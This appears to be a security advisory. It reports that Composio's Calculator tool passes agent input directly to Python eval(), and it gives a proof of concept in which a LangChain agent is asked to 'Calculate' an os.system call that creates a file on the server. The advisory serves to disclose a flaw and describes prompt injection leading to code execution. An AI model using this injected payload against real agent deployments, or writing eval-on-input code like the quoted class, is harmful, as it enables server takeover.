credit:Aftersnows gxh HRP
In the Calculator class, there is no restriction on user request inputs, which could allow malicious code to be injected and executed within the eval function
class Calculator(LocalAction[CalculatorRequest, CalculatorResponse]):
"""
Useful to perform any mathematical calculations, like sum, minus, multiplication, division, etc.
"""
_tags = ["calculator"]
def execute(self, request: CalculatorRequest, metadata: Dict) -> CalculatorResponse:
return CalculatorResponse(
result=str(eval(request.operation))# pylint: disable=eval-used
)
Attack scenario: When using an AI framework that employs Composio's local tool MATHEMATICAL to execute code for mathematical formulas (such as sum, minus, multiplication, division, etc.), a hacker can simply input a malicious formula into the AI model to inject malicious code and gain server privileges during the AI framework's runtime.(Similar to common AI risks, prompt injection can lead to command execution.)
Perform the following experiments using the Python Cookbook examples with Composio.
from composio_langchain import Action, App, ComposioToolSet
from langchain import hub
from langchain.agents import AgentExecutor, create_openai_functions_agent
from langchain_openai import ChatOpenAI
llm = ChatOpenAI(model="gpt-4-turbo")
prompt = hub.pull("hwchase17/openai-functions-agent")
# Get All the tools
tools = ComposioToolSet(output_in_file=True).get_tools([App.MATHEMATICAL])
# Define agents
agent = create_openai_functions_agent(llm, tools, prompt)
agent_executor = AgentExecutor(agent=agent, tools=tools, verbose=True)
# Execute using agent_executor
task = "Calculate __import__('os').system('touch ./hack.txt')"
agent_executor.invoke({"input": task})
https://github.com/user-attachments/assets/3d7e6683-2acd-4035-9648-b40e4af665df
There is a risk that allows an attacker to execute any commands on the server
credit:Aftersnows gxh HRP